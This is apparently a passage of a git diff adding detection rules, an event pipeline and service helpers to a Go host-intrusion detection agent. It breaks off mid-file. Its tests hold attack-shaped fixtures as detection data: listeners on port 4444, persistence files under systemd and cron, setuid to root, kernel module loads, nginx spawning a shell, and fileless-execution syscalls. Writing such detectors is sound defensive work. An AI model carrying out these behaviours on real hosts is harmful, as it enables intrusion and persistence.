+ +func TestHostEventCompatibilityAliases(t *testing.T) { + var event HostEvent + raw := []byte(`{"type":"accept","pid":"42","remote_ip":"8.8.8.8","remote_port":"51515","bind_ip":"0.0.0.0","bind_port":"4444","target_uid":"0","mode":"0o777","capability":"cap_sys_admin","name":"evil"}`) + if err := json.Unmarshal(raw, &event); err != nil { + t.Fatal(err) + } + if event.Event != "accept" || event.PID != 42 || event.PeerIP != "8.8.8.8" || + event.PeerPort != 51515 || event.LocalPort != 4444 || event.TargetUID != 0 || + event.TargetGID != -1 || event.Mode != 0o777 || event.Capabilities[0] != "CAP_SYS_ADMIN" || + event.ModuleName != "evil" { + t.Fatalf("compatibility decode drifted: %#v", event) + } +} + +func TestDefaultHostRulesMatchAllBuiltins(t *testing.T) { + engine := DefaultHostRuleEngine() + tests := []struct { + event HostEvent + sid int + }{ + {HostEvent{Event: "tcp_connect", PID: 1, Comm: "python3", PeerIP: "8.8.8.8", PeerPort: 4444, TargetUID: -1, TargetGID: -1}, 100067}, + {HostEvent{Event: "listen", PID: 2, Comm: "python3", LocalPort: 4444, TargetUID: -1, TargetGID: -1}, 100068}, + {HostEvent{Event: "bind", PID: 3, Comm: "python3", LocalPort: 4444, TargetUID: -1, TargetGID: -1}, 100073}, + {HostEvent{Event: "file_write", PID: 4, Comm: "python3", Path: "/etc/systemd/system/evil.service", TargetUID: -1, TargetGID: -1}, 100069}, + {HostEvent{Event: "chmod", PID: 5, Comm: "chmod", Path: "/etc/cron.d/evil", Mode: 0o777, TargetUID: -1, TargetGID: -1}, 100070}, + {HostEvent{Event: "setuid", PID: 6, Comm: "python3", TargetUID: 0, TargetGID: -1}, 100071}, + {HostEvent{Event: "setgid", PID: 7, Comm: "python3", TargetUID: -1, TargetGID: 0}, 100072}, + {HostEvent{Event: "accept", PID: 8, Comm: "python3", PeerIP: "8.8.8.8", LocalPort: 4444, TargetUID: -1, TargetGID: -1}, 100076}, + {HostEvent{Event: "capset", PID: 9, Comm: "python3", Capabilities: []string{"cap_sys_admin"}, TargetUID: -1, TargetGID: -1}, 100077}, + {HostEvent{Event: "module_load", PID: 10, Comm: "insmod", Path: "/tmp/evil.ko", TargetUID: -1, TargetGID: -1}, 100078}, + } + for _, test := range tests { + found := false + for _, alert := range engine.Match(test.event) { + if alert.SID == test.sid { + found = true + } + } + if !found { + t.Fatalf("sid %d did not match %#v", test.sid, test.event) + } + } +} + +func TestHostInterpreterCommsReturnsCopy(t *testing.T) { + first := HostInterpreterComms() + if len(first) == 0 { + t.Fatal("interpreter list must not be empty") + } + original := first[0] + first[0] = "mutated" + if HostInterpreterComms()[0] != original { + t.Fatal("caller mutated shared interpreter list") + } +} + +func TestHostRulesRejectCommonOrPrivateNetworkShapes(t *testing.T) { + engine := DefaultHostRuleEngine() + for _, event := range []HostEvent{ + {Event: "tcp_connect", Comm: "python3", PeerIP: "8.8.8.8", PeerPort: 443}, + {Event: "tcp_connect", Comm: "python3", PeerIP: "10.0.0.2", PeerPort: 4444}, + {Event: "listen", Comm: "python3", LocalPort: 80}, + } { + if alerts := engine.Match(event); len(alerts) != 0 { + t.Fatalf("benign network shape matched: %#v", alerts) + } + } +} + +func TestHostAlertContract(t *testing.T) { + event := HostEvent{ + Event: "chmod", PID: 42, PPID: 1, UID: 0, Comm: "chmod", + Path: "/etc/cron.d/evil", TargetUID: -1, TargetGID: -1, Mode: 0o777, + } + alert := DefaultHostRuleEngine().Match(event)[0] + if alert.Key != "host:100070:chmod:42::0::0:/etc/cron.d/evil:-1:-1:511::" || + !strings.Contains(alert.Detail, "mode=0o777 capabilities=- module=-") { + t.Fatalf("unexpected host alert: %#v", alert) + } +} diff --git a/go-agent/internal/events/pipeline.go b/go-agent/internal/events/pipeline.go new file mode 100644 index 0000000..a2bc80f --- /dev/null +++ b/go-agent/internal/events/pipeline.go @@ -0,0 +1,121 @@ +// SPDX-License-Identifier: GPL-3.0-or-later + +package events + +import ( + "bufio" + "encoding/json" + "fmt" + "io" + "strings" + + "codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/model" +) + +type EventKind string + +const ( + ExecKind EventKind = "exec" + SyscallKind EventKind = "syscall" + HostKind EventKind = "host" +) + +// RuleSet is the transport-independent destination for every live or replayed +// kernel event. A cilium/ebpf source only needs to decode into these records; +// it does not need to know rule details or alert schemas. +type RuleSet struct { + Exec ExecRuleEngine + Syscall SyscallRuleEngine + Host HostRuleEngine +} + +func NewRuleSet(exec ExecRuleEngine) RuleSet { + return RuleSet{ + Exec: exec, Syscall: DefaultSyscallRuleEngine(), Host: DefaultHostRuleEngine(), + } +} + +func (r RuleSet) MatchJSON(raw []byte) ([]model.Alert, error) { + kind, err := eventKind(raw) + if err != nil { + return nil, err + } + switch kind { + case ExecKind: + var event ExecEvent + if err := json.Unmarshal(raw, &event); err != nil { + return nil, err + } + return r.Exec.Match(event), nil + case SyscallKind: + var event SyscallEvent + if err := json.Unmarshal(raw, &event); err != nil { + return nil, err + } + return r.Syscall.Match(event), nil + case HostKind: + var event HostEvent + if err := json.Unmarshal(raw, &event); err != nil { + return nil, err + } + return r.Host.Match(event), nil + default: + return nil, fmt.Errorf("event JSON must be an exec, syscall, or host event") + } +} + +func eventKind(raw []byte) (EventKind, error) { + var values map[string]any + if err := json.Unmarshal(raw, &values); err != nil { + return "", err + } + explicit := strings.ToLower(stringValue(firstValue(values, "event", "type"))) + switch explicit { + case "exec", "execve": + return ExecKind, nil + case "syscall", "sys": + return SyscallKind, nil + case "tcp_connect", "bind", "listen", "accept", "file_write", + "chmod", "chown", "setuid", "setgid", "capset", "module_load": + return HostKind, nil + } + if _, ok := values["filename"]; ok { + return ExecKind, nil + } + if _, ok := values["argv"]; ok { + return ExecKind, nil + } + if _, ok := values["parent_comm"]; ok { + return ExecKind, nil + } + if _, ok := values["syscall"]; ok { + return SyscallKind, nil + } + if _, ok := values["args"]; ok { + return SyscallKind, nil + } + return "", fmt.Errorf("event JSON must be an exec, syscall, or host event") +} + +// ScanJSONL feeds non-empty lines to the matcher callback with line-numbered +// errors. Scanner capacity is raised for long argv or future module metadata. +func ScanJSONL(reader io.Reader, consume func([]byte) error) error { + scanner := bufio.NewScanner(reader) + scanner.Buffer(make([]byte, 64*1024), 1024*1024) + line := 0 + for scanner.Scan() { + line++ + raw := bytesTrimSpace(scanner.Bytes()) + if len(raw) == 0 { + continue + } + if err := consume(raw); err != nil { + return fmt.Errorf("event stream line %d: %w", line, err) + } + } + return scanner.Err() +} + +func bytesTrimSpace(value []byte) []byte { + return []byte(strings.TrimSpace(string(value))) +} diff --git a/go-agent/internal/events/pipeline_test.go b/go-agent/internal/events/pipeline_test.go new file mode 100644 index 0000000..369fffc --- /dev/null +++ b/go-agent/internal/events/pipeline_test.go @@ -0,0 +1,45 @@ +// SPDX-License-Identifier: GPL-3.0-or-later + +package events + +import ( + "strings" + "testing" +) + +func TestRuleSetMatchesCompatibilityJSON(t *testing.T) { + rules := NewRuleSet(DefaultExecRuleEngine()) + tests := []struct { + raw string + sid int + }{ + {`{"type":"execve","pid":"42","ppid":"1","uid":"1000","parent_comm":"nginx","filename":"/bin/sh","argv":["-c","id"]}`, 100003}, + {`{"type":"sys","pid":"43","comm":"loader","syscall":"mprotect","args":["0x1000","0x1000",0],"arg2":"0x6"}`, 100060}, + {`{"type":"listen","pid":"44","comm":"python3","listen_ip":"0.0.0.0","listen_port":"4444"}`, 100068}, + } + for _, test := range tests { + alerts, err := rules.MatchJSON([]byte(test.raw)) + if err != nil { + t.Fatal(err) + } + found := false + for _, alert := range alerts { + if alert.SID == test.sid { + found = true + } + } + if !found { + t.Fatalf("sid %d did not match %s: %#v", test.sid, test.raw, alerts) + } + } +} + +func TestScanJSONLReportsLine(t *testing.T) { + err := ScanJSONL(strings.NewReader("\n{}\n"), func(raw []byte) error { + _, err := NewRuleSet(DefaultExecRuleEngine()).MatchJSON(raw) + return err + }) + if err == nil || !strings.Contains(err.Error(), "line 2") { + t.Fatalf("missing line context: %v", err) + } +} diff --git a/go-agent/internal/events/syscall_event.go b/go-agent/internal/events/syscall_event.go new file mode 100644 index 0000000..16b73a6 --- /dev/null +++ b/go-agent/internal/events/syscall_event.go @@ -0,0 +1,42 @@ +// SPDX-License-Identifier: GPL-3.0-or-later + +package events + +import "encoding/json" + +// SyscallEvent is the transport-neutral security telemetry consumed by the +// syscall rules. Unsupplied arguments decode as zero, matching Python's +// dataclass defaults and the partial fixtures accepted by rule operations. +type SyscallEvent struct { + PID int `json:"pid"` + PPID int `json:"ppid"` + UID int `json:"uid"` + Comm string `json:"comm"` + Syscall string `json:"syscall"` + Args [6]uint64 `json:"args"` + Text string `json:"text"` +} + +func (e *SyscallEvent) UnmarshalJSON(raw []byte) error { + var values map[string]any + if err := json.Unmarshal(raw, &values); err != nil { + return err + } + e.PID = integerValue(values["pid"], 0) + e.PPID = integerValue(values["ppid"], 0) + e.UID = integerValue(values["uid"], 0) + e.Comm = stringValue(values["comm"]) + e.Syscall = stringValue(values["syscall"]) + e.Text = stringValue(values["text"]) + if args, ok := values["args"].([]any); ok { + for index := 0; index < len(args) && index < len(e.Args); index++ { + e.Args[index] = uint64(integerValue(args[index], 0)) + } + } + for index, key := range []string{"arg0", "arg1", "arg2", "arg3", "arg4", "arg5"} { + if value, ok := values[key]; ok { + e.Args[index] = uint64(integerValue(value, int(e.Args[index]))) + } + } + return nil +} diff --git a/go-agent/internal/events/syscall_rules.go b/go-agent/internal/events/syscall_rules.go new file mode 100644 index 0000000..a1b5875 --- /dev/null +++ b/go-agent/internal/events/syscall_rules.go @@ -0,0 +1,123 @@ +// SPDX-License-Identifier: GPL-3.0-or-later + +package events + +import ( + "fmt" + + "codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/model" +) + +const ( + protWrite = 0x2 + protExec = 0x4 + ptraceTrace = 0 + ptraceAttach = 16 + ptraceSeize = 0x4206 + prSetSeccomp = 22 +) + +type syscallPredicate func(SyscallEvent) bool + +type SyscallRule struct { + SID int + Message string + Severity string + Classtype string + Syscalls map[string]bool + Predicate syscallPredicate +} + +func (r SyscallRule) Matches(event SyscallEvent) bool { + return r.Syscalls[event.Syscall] && r.Predicate(event) +} + +func (r SyscallRule) Alert(event SyscallEvent) model.Alert { + detail := fmt.Sprintf( + "sid=%d %s — pid=%d ppid=%d comm=%s syscall=%s args=[%#x, %#x, %#x, %#x]", + r.SID, r.Message, event.PID, event.PPID, event.Comm, event.Syscall, + event.Args[0], event.Args[1], event.Args[2], event.Args[3]) + if event.Text != "" { + detail += " text=[" + truncateRunes(event.Text, 80) + "]" + } + return model.Alert{ + SID: r.SID, Severity: r.Severity, + Signature: "syscall_rule." + r.Classtype, Classtype: r.Classtype, + Key: fmt.Sprintf("syscall:%d:%d:%s:%x:%x", + r.SID, event.PID, event.Syscall, event.Args[0], event.Args[2]), + Detail: detail, PIDs: []int{event.PID}, + } +} + +type SyscallRuleEngine struct { + Rules []SyscallRule +} + +func DefaultSyscallRuleEngine() SyscallRuleEngine { + return SyscallRuleEngine{Rules: []SyscallRule{ + { + SID: 100060, Message: "mprotect made memory writable and executable", + Severity: "CRITICAL", Classtype: "memory-obfuscation", + Syscalls: stringSet([]string{"mprotect"}), + Predicate: func(event SyscallEvent) bool { return protectedWX(event.Args[2]) }, + }, + { + SID: 100061, Message: "mmap requested writable and executable memory", + Severity: "CRITICAL", Classtype: "memory-obfuscation", + Syscalls: stringSet([]string{"mmap"}), + Predicate: func(event SyscallEvent) bool { return protectedWX(event.Args[2]) }, + }, + { + SID: 100062, Message: "memfd_create used for anonymous in-memory file staging", + Severity: "MEDIUM", Classtype: "fileless-execution", + Syscalls: stringSet([]string{"memfd_create"}), Predicate: alwaysSyscall, + }, + { + SID: 100063, Message: "ptrace anti-debug or attach operation observed", + Severity: "HIGH", Classtype: "anti-analysis", + Syscalls: stringSet([]string{"ptrace"}), + Predicate: func(event SyscallEvent) bool { + request := event.Args[0] + return request == ptraceTrace || request == ptraceAttach || request == ptraceSeize + }, + }, + { + SID: 100064, + Message: "seccomp sandboxing call observed (possible anti-analysis hardening)", + Severity: "MEDIUM", Classtype: "anti-analysis", + Syscalls: stringSet([]string{"prctl", "seccomp"}), + Predicate: func(event SyscallEvent) bool { + return event.Syscall == "seccomp" || event.Args[0] == prSetSeccomp + }, + }, + { + SID: 100065, Message: "cross-process memory read/write syscall observed", + Severity: "HIGH", Classtype: "credential-access", + Syscalls: stringSet([]string{"process_vm_readv", "process_vm_writev"}), + Predicate: alwaysSyscall, + }, + { + SID: 100066, + Message: "memory locking syscall observed (possible protected in-memory payload)", + Severity: "MEDIUM", Classtype: "memory-obfuscation", + Syscalls: stringSet([]string{"mlock", "mlock2", "mlockall"}), + Predicate: alwaysSyscall, + }, + }} +} + +func (e SyscallRuleEngine) Match(event SyscallEvent) []model.Alert { + alerts := make([]model.Alert, 0) + for _, rule := range e.Rules { + if rule.Matches(event) { + alerts = append(alerts, rule.Alert(event)) + } + } + return alerts +} + +func protectedWX(protection uint64) bool { + return protection&protWrite != 0 && protection&protExec != 0 +} + +func alwaysSyscall(SyscallEvent) bool { return true } diff --git a/go-agent/internal/events/syscall_rules_test.go b/go-agent/internal/events/syscall_rules_test.go new file mode 100644 index 0000000..b82591a --- /dev/null +++ b/go-agent/internal/events/syscall_rules_test.go @@ -0,0 +1,64 @@ +// SPDX-License-Identifier: GPL-3.0-or-later + +package events + +import ( + "strings" + "testing" +) + +func syscallEvent(name string, arg0, arg2 uint64) SyscallEvent { + return SyscallEvent{ + PID: 10, PPID: 1, UID: 1000, Comm: "hoxha", Syscall: name, + Args: [6]uint64{arg0, 0, arg2}, + } +} + +func TestDefaultSyscallRulesMatchPython(t *testing.T) { + engine := DefaultSyscallRuleEngine() + tests := []struct { + event SyscallEvent + sid int + }{ + {syscallEvent("mprotect", 0, 0x6), 100060}, + {syscallEvent("mmap", 0, 0x7), 100061}, + {syscallEvent("memfd_create", 0, 0), 100062}, + {syscallEvent("ptrace", 16, 0), 100063}, + {syscallEvent("ptrace", 0x4206, 0), 100063}, + {syscallEvent("prctl", 22, 0), 100064}, + {syscallEvent("seccomp", 0, 0), 100064}, + {syscallEvent("process_vm_readv", 4242, 0), 100065}, + {syscallEvent("process_vm_writev", 4242, 0), 100065}, + {syscallEvent("mlock", 0, 0), 100066}, + {syscallEvent("mlockall", 0, 0), 100066}, + } + for _, test := range tests { + found := false + for _, alert := range engine.Match(test.event) { + if alert.SID == test.sid { + found = true + } + } + if !found { + t.Fatalf("sid %d did not match %#v", test.sid, test.event) + } + } + if alerts := engine.Match(syscallEvent("mprotect", 0, 0x5)); len(alerts) != 0 { + t.Fatalf("read+exec mprotect matched: %#v", alerts) + } + if alerts := engine.Match(syscallEvent("ptrace", 3, 0)); len(alerts) != 0 { + t.Fatalf("non-sensitive ptrace matched: %#v", alerts) + } +} + +func TestSyscallAlertContract(t *testing.T) { + event := syscallEvent("memfd_create", 1, 0) + event.Text = "payload" + alert := DefaultSyscallRuleEngine().Match(event)[0] + if alert.SID != 100062 || alert.Severity != "MEDIUM" || + alert.Signature != "syscall_rule.fileless-execution" || + alert.Key != "syscall:100062:10:memfd_create:1:0" || + !strings.Contains(alert.Detail, "args=[0x1, 0x0, 0x0, 0x0] text=[payload]") { + t.Fatalf("unexpected alert: %#v", alert) + } +} diff --git a/go-agent/internal/health/heartbeat.go b/go-agent/internal/health/heartbeat.go new file mode 100644 index 0000000..29084e8 --- /dev/null +++ b/go-agent/internal/health/heartbeat.go @@ -0,0 +1,90 @@ +// SPDX-License-Identifier: GPL-3.0-or-later + +// Package health persists the migration service liveness marker. +package health + +import ( + "fmt" + "os" + "path/filepath" + "strconv" + "strings" + "time" +) + +const Filename = "heartbeat" + +const Schema = "enodia.go.health.v1" + +// Status is the stable machine-readable result returned by the health command. +type Status struct { + Schema string `json:"schema"` + Healthy bool `json:"healthy"` + Heartbeat string `json:"heartbeat,omitempty"` + AgeSeconds int64 `json:"age_seconds,omitempty"` + MaxAgeSeconds int64 `json:"max_age_seconds"` + Detail string `json:"detail"` +} + +// WriteHeartbeat atomically stores a Unix timestamp in the state directory. +// A stale retained value is intentional: watchdogs can distinguish a stopped +// or wedged process from a service that has never completed a sweep. +func WriteHeartbeat(stateDir string, now time.Time) error { + if stateDir == "" { + return fmt.Errorf("state directory is required") + } + if err := os.MkdirAll(stateDir, 0o750); err != nil { + return fmt.Errorf("create heartbeat directory: %w", err) + } + path := filepath.Join(stateDir, Filename) + temporary := path + ".tmp" + content := []byte(strconv.FormatInt(now.Unix(), 10) + "\n") + if err := os.WriteFile(temporary, content, 0o600); err != nil { + return fmt.Errorf("write heartbeat: %w", err) + } + if err := os.Rename(temporary, path); err != nil { + return fmt.Errorf("replace heartbeat: %w", err) + } + if err := os.Chmod(path, 0o600); err != nil { + return fmt.Errorf("protect heartbeat: %w", err) + } + return nil +} + +// ReadHeartbeat loads the retained Unix timestamp. +func ReadHeartbeat(stateDir string) (time.Time, error) { + raw, err := os.ReadFile(filepath.Join(stateDir, Filename)) + if err != nil { + return time.Time{}, err + } + seconds, err := strconv.ParseInt(strings.TrimSpace(string(raw)), 10, 64) + if err != nil { + return time.Time{}, fmt.Errorf("parse heartbeat: %w", err) + } + return time.Unix(seconds, 0), nil +} + +// Check evaluates the retained heartbeat against the configured maximum age. +// Missing or malformed state is represented in the result instead of returned +// as an error so callers can always emit a complete health record. +func Check(stateDir string, now time.Time, maxAge time.Duration) Status { + status := Status{Schema: Schema, MaxAgeSeconds: int64(maxAge / time.Second)} + heartbeat, err := ReadHeartbeat(stateDir) + if err != nil { + status.Detail = "heartbeat unavailable: " + err.Error() + return status + } + age := now.Sub(heartbeat) + if age < 0 { + age = 0 + } + status.Heartbeat = heartbeat.Local().Format(time.RFC3339) + status.AgeSeconds = int64(age / time.Second) + status.Healthy = age <= maxAge + if status.Healthy { + status.Detail = "heartbeat is fresh" + } else { + status.Detail = "heartbeat is stale" + } + return status +} diff --git a/go-agent/internal/health/heartbeat_test.go b/go-agent/internal/health/heartbeat_test.go new file mode 100644 index 0000000..8d93d24 --- /dev/null +++ b/go-agent/internal/health/heartbeat_test.go @@ -0,0 +1,71 @@ +// SPDX-License-Identifier: GPL-3.0-or-later + +package health + +import ( + "os" + "path/filepath" + "testing" + "time" +) + +func TestHeartbeatRoundTripAndPermissions(t *testing.T) { + directory := filepath.Join(t.TempDir(), "state") + want := time.Unix(1_753_012_345, 987_654_321) + if err := WriteHeartbeat(directory, want); err != nil { + t.Fatal(err) + } + got, err := ReadHeartbeat(directory) + if err != nil { + t.Fatal(err) + } + if !got.Equal(time.Unix(want.Unix(), 0)) { + t.Fatalf("heartbeat=%s want=%s", got, want) + } + info, err := os.Stat(filepath.Join(directory, Filename)) + if err != nil { + t.Fatal(err) + } + if got := info.Mode().Perm(); got != 0o600 { + t.Fatalf("mode=%#o", got) + } + if _, err := os.Stat(filepath.Join(directory, Filename+".tmp")); !os.IsNotExist(err) { + t.Fatalf("temporary heartbeat remains: %v", err) + } +} + +func TestHeartbeatRejectsMissingDirectory(t *testing.T) { + if err := WriteHeartbeat("", time.Now()); err == nil { + t.Fatal("empty directory accepted") + } +} + +func TestReadHeartbeatRejectsInvalidContent(t *testing.T) { + directory := t.TempDir() + if err := os.WriteFile(filepath.Join(directory, Filename), []byte("invalid\n"), 0o600); err != nil { + t.Fatal(err) + } + if _, err := ReadHeartbeat(directory); err == nil { + t.Fatal("invalid heartbeat accepted") + } +} + +func TestCheckReportsFreshStaleAndMissing(t *testing.T) { + directory := t.TempDir() + now := time.Unix(2_000, 0) + if err := WriteHeartbeat(directory, now.Add(-30*time.Second)); err != nil { + t.Fatal(err) + } + fresh := Check(directory, now, time.Minute) + if !fresh.Healthy || fresh.AgeSeconds != 30 || fresh.Detail != "heartbeat is fresh" { + t.Fatalf("fresh=%#v", fresh) + } + stale := Check(directory, now, 10*time.Second) + if stale.Healthy || stale.Detail != "heartbeat is stale" || stale.MaxAgeSeconds != 10 { + t.Fatalf("stale=%#v", stale) + } + missing := Check(filepath.Join(directory, "missing"), now, time.Minute) + if missing.Healthy || missing.Detail == "" { + t.Fatalf("missing=%#v", missing) + } +} diff --git a/go-agent/internal/model/model.go b/go-agent/internal/model/model.go index 1197707..bf5c1c1 100644 --- a/go-agent/internal/model/model.go +++ b/go-agent/internal/model/model.go @@ -29,9 +29,17 @@ type MemoryMap struct { // State is one injectable detector sweep, equivalent to the Python // SystemState boundary. type State struct { - Processes []Process `json:"processes"` - Sockets []Socket `json:"sockets"` - LDPreload string `json:"ld_preload"` + Processes []Process `json:"processes"` + Sockets []Socket `json:"sockets"` + LDPreload string `json:"ld_preload"` + ListenerBaseline []string `json:"listener_baseline"` + SUIDBaseline []string `json:"suid_baseline"` + SUIDBinaries []string `json:"suid_binaries"` + PersistSince *float64 `json:"persist_since"` + PersistenceFiles map[string]float64 `json:"persistence_files"` + FirstSeenInitialized bool `json:"first_seen_initialized"` + FirstSeenPublicDestinations map[string][]string `json:"first_seen_public_destinations"` + FirstSeenListenerPorts map[string][]string `json:"first_seen_listener_ports"` } // Socket matches the Python SystemState socket view. Nil inode/PID values diff --git a/go-agent/internal/provenance/provenance.go b/go-agent/internal/provenance/provenance.go new file mode 100644 index 0000000..9c43d22 --- /dev/null +++ b/go-agent/internal/provenance/provenance.go @@ -0,0 +1,70 @@ +// SPDX-License-Identifier: GPL-3.0-or-later + +// Package provenance answers "is this file shipped by an installed package?". +// Ownership raises confidence that a binary is legitimate; it never proves +// safety, so callers use it to suppress or rank alerts, not to delete evidence. +package provenance + +import ( + "context" + "os/exec" + "strings" + "sync" + "time" +) + +var ( + mu sync.Mutex + tool *string + cache = map[string]bool{} +) + +func packageTool() string { + if tool != nil { + return *tool + } + found := "" + for _, name := range []string{"pacman", "dpkg", "rpm"} { + if _, err := exec.LookPath(name); err == nil { + found = name + break + } + } + tool = &found + return found +} + +func query(name, path string) bool { + ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second) + defer cancel() + switch name { + case "pacman": + output, err := exec.CommandContext(ctx, "pacman", "-Qo", path).Output() + return err == nil && strings.Contains(string(output), "owned by") + case "dpkg": + output, err := exec.CommandContext(ctx, "dpkg", "-S", path).Output() + return err == nil && strings.Contains(string(output), ":") + case "rpm": + output, err := exec.CommandContext(ctx, "rpm", "-qf", path).Output() + return err == nil && !strings.Contains(string(output), "not owned") + } + return false +} + +// IsPackageOwned reports whether path belongs to an installed package. +// Results are cached because package ownership is stable within a sweep run. +func IsPackageOwned(path string) bool { + if path == "" || path == "(deleted)" { + return false + } + path = strings.ReplaceAll(path, " (deleted)", "") + mu.Lock() + defer mu.Unlock() + if owned, seen := cache[path]; seen { + return owned + } + name := packageTool() + owned := name != "" && query(name, path) + cache[path] = owned + return owned +} diff --git a/go-agent/internal/schema/event.go b/go-agent/internal/schema/event.go index c528217..16922e6 100644 --- a/go-agent/internal/schema/event.go +++ b/go-agent/internal/schema/event.go @@ -19,8 +19,9 @@ var eventTypes = map[string]bool{ "alert": true, "incident": true, "status": true, } -// Status matches the required enodia.status.v1 fields. The prototype sidecar -// has no retained snapshots yet, so those counts remain empty/zero. +// Status matches the required enodia.status.v1 fields. Agent-level callers use +// zero retention values; the service executable fills them from its optional +// snapshot store immediately before emitting a status envelope. type Status struct { Schema string `json:"schema"` Version string `json:"version"` diff --git a/go-agent/internal/sdnotify/notify.go b/go-agent/internal/sdnotify/notify.go new file mode 100644 index 0000000..1b6c85b --- /dev/null +++ b/go-agent/internal/sdnotify/notify.go @@ -0,0 +1,49 @@ +// SPDX-License-Identifier: GPL-3.0-or-later + +// Package sdnotify implements the small systemd notification subset needed by +// the service binary without adding a runtime dependency. +package sdnotify + +import ( + "fmt" + "net" + "os" + "strings" +) + +// Notifier sends state records to the socket inherited from systemd. An empty +// socket makes Notify a no-op so the agent behaves identically outside a unit. +type Notifier struct { + socket string +} + +// FromEnvironment returns a notifier for systemd's NOTIFY_SOCKET contract. +func FromEnvironment() Notifier { + return New(os.Getenv("NOTIFY_SOCKET")) +} + +// New constructs a notifier for an explicit socket, primarily for tests. +func New(socket string) Notifier { + return Notifier{socket: socket} +} + +// Notify sends one newline-delimited systemd state record. +func (n Notifier) Notify(state string) error { + if n.socket == "" { + return nil + } + if state == "" || strings.ContainsRune(state, '\x00') { + return fmt.Errorf("invalid empty or NUL-containing notification") + } + connection, err := net.DialUnix( + "unixgram", nil, &net.UnixAddr{Name: n.socket, Net: "unixgram"}, + ) + if err != nil { + return fmt.Errorf("connect notify socket: %w", err) + } + defer connection.Close() + if _, err := connection.Write([]byte(state)); err != nil { + return fmt.Errorf("write notify socket: %w", err) + } + return nil +} diff --git a/go-agent/internal/sdnotify/notify_test.go b/go-agent/internal/sdnotify/notify_test.go new file mode 100644 index 0000000..a9d004f --- /dev/null +++ b/go-agent/internal/sdnotify/notify_test.go @@ -0,0 +1,48 @@ +// SPDX-License-Identifier: GPL-3.0-or-later + +package sdnotify + +import ( + "net" + "path/filepath" + "testing" + "time" +) + +func TestDisabledNotifierIsNoOp(t *testing.T) { + if err := New("").Notify("READY=1"); err != nil { + t.Fatalf("disabled notifier: %v", err) + } +} + +func TestNotifierSendsDatagram(t *testing.T) { + path := filepath.Join(t.TempDir(), "notify.sock") + listener, err := net.ListenUnixgram("unixgram", &net.UnixAddr{Name: path, Net: "unixgram"}) + if err != nil { + t.Fatal(err) + } + defer listener.Close() + if err := New(path).Notify("READY=1\nSTATUS=initialized"); err != nil { + t.Fatal(err) + } + if err := listener.SetReadDeadline(time.Now().Add(time.Second)); err != nil { + t.Fatal(err) + } + buffer := make([]byte, 128) + read, _, err := listener.ReadFromUnix(buffer) + if err != nil { + t.Fatal(err) + } + if got := string(buffer[:read]); got != "READY=1\nSTATUS=initialized" { + t.Fatalf("notification=%q", got) + } +} + +func TestNotifierRejectsInvalidState(t *testing.T) { + if err := New("unused").Notify(""); err == nil { + t.Fatal("empty state accepted") + } + if err := New("unused").Notify("READY=1\x00STATUS=bad"); err == nil { + t.Fatal("NUL state accepted") + } +} diff --git a/go-agent/internal/snapshot/store.go b/go-agent/internal/snapshot/store.go new file mode 100644 index 0000000..6efd272 --- /dev/null +++ b/go-agent/internal/snapshot/store.go @@ -0,0 +1,385 @@ +// SPDX-License-Identifier: GPL-3.0-or-later + +// Package snapshot retains Python-compatible alert snapshot pairs for the Go +// migration service. It intentionally leaves incident grouping and rich +// post-alert enrichment to later parity tranches while preserving the stable +// v1 fields consumed by existing read-only tools. +package snapshot + +import ( + "encoding/json" + "fmt" + "os" + "path/filepath" + "sort" + "strconv" + "strings" + "sync" + "time" + + "codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/model" +) + +const Schema = "enodia.alert.snapshot.v1" + +type ProcessDetail struct { + PID int `json:"pid"` + Comm string `json:"comm"` + Exe string `json:"exe"` + CWD string `json:"cwd"` + Cmdline string `json:"cmdline"` + PPID int `json:"ppid"` + PPIDComm string `json:"ppid_comm"` + UID int `json:"uid"` + LDPreload string `json:"ld_preload"` + FDs map[string]string `json:"fds"` +} + +type Report struct { + Schema string `json:"schema"` + Time string `json:"time"` + Host string `json:"host"` + Severity string `json:"severity"` + IncidentID *string `json:"incident_id"` + Alerts []model.Alert `json:"alerts"` + Processes []ProcessDetail `json:"processes"` + Enrichment map[string]any `json:"enrichment"` +} + +type Stats struct { + Total int + Counts map[string]int + LastAlert *string +} + +type Store struct { + Dir string + ProcRoot string + MaxCount int + MaxAgeDays int + Now func() time.Time + Collect func(int) ProcessDetail + + mu sync.Mutex +} + +// New preflights the isolated snapshot directory before service readiness. +func New(dir, procRoot string, maxCount, maxAgeDays int) (*Store, error) { + if dir == "" { + return nil, fmt.Errorf("snapshot directory is required") + } + if maxCount < 0 || maxAgeDays < 0 { + return nil, fmt.Errorf("snapshot retention values must be non-negative") + } + if procRoot == "" { + procRoot = "/proc" + } + if err := os.MkdirAll(dir, 0o750); err != nil { + return nil, fmt.Errorf("create snapshot directory: %w", err) + } + probe, err := os.CreateTemp(dir, ".snapshot-preflight-*") + if err != nil { + return nil, fmt.Errorf("preflight snapshot directory: %w", err) + } + probePath := probe.Name() + if err := probe.Chmod(0o600); err != nil { + probe.Close() + os.Remove(probePath) + return nil, fmt.Errorf("protect snapshot preflight: %w", err) + } + if err := probe.Close(); err != nil { + os.Remove(probePath) + return nil, fmt.Errorf("close snapshot preflight: %w", err) + } + if err := os.Remove(probePath); err != nil { + return nil, fmt.Errorf("remove snapshot preflight: %w", err) + } + store := &Store{Dir: dir, ProcRoot: procRoot, MaxCount: maxCount, MaxAgeDays: maxAgeDays, Now: time.Now} + store.Collect = func(pid int) ProcessDetail { return collectProcess(procRoot, pid) } + if err := store.Prune(); err != nil { + return nil, err + } + return store, nil +} + +// CaptureEvent merges one alert envelope into its second-granularity snapshot. +// Python filenames use second precision, so merging avoids overwriting sibling +// alerts emitted by one poll sweep or concurrent kernel sources. +func (s *Store) CaptureEvent(event map[string]any) (string, error) { + if event["event_type"] != "alert" { + return "", fmt.Errorf("snapshot requires an alert event") + } + alert, err := decodeAlert(event["alert"]) + if err != nil { + return "", err + } + timestamp, ok := event["timestamp"].(string) + if !ok || timestamp == "" { + return "", fmt.Errorf("snapshot event timestamp is required") + } + captured, err := time.Parse(time.RFC3339Nano, timestamp) + if err != nil { + return "", fmt.Errorf("parse snapshot timestamp: %w", err) + } + host, _ := event["host"].(string) + base := filepath.Join(s.Dir, "alert-"+captured.Format("20060102-150405")) + + s.mu.Lock() + defer s.mu.Unlock() + report := Report{ + Schema: Schema, Time: timestamp, Host: host, Severity: alert.Severity, + Alerts: []model.Alert{}, Processes: []ProcessDetail{}, + Enrichment: map[string]any{"source": 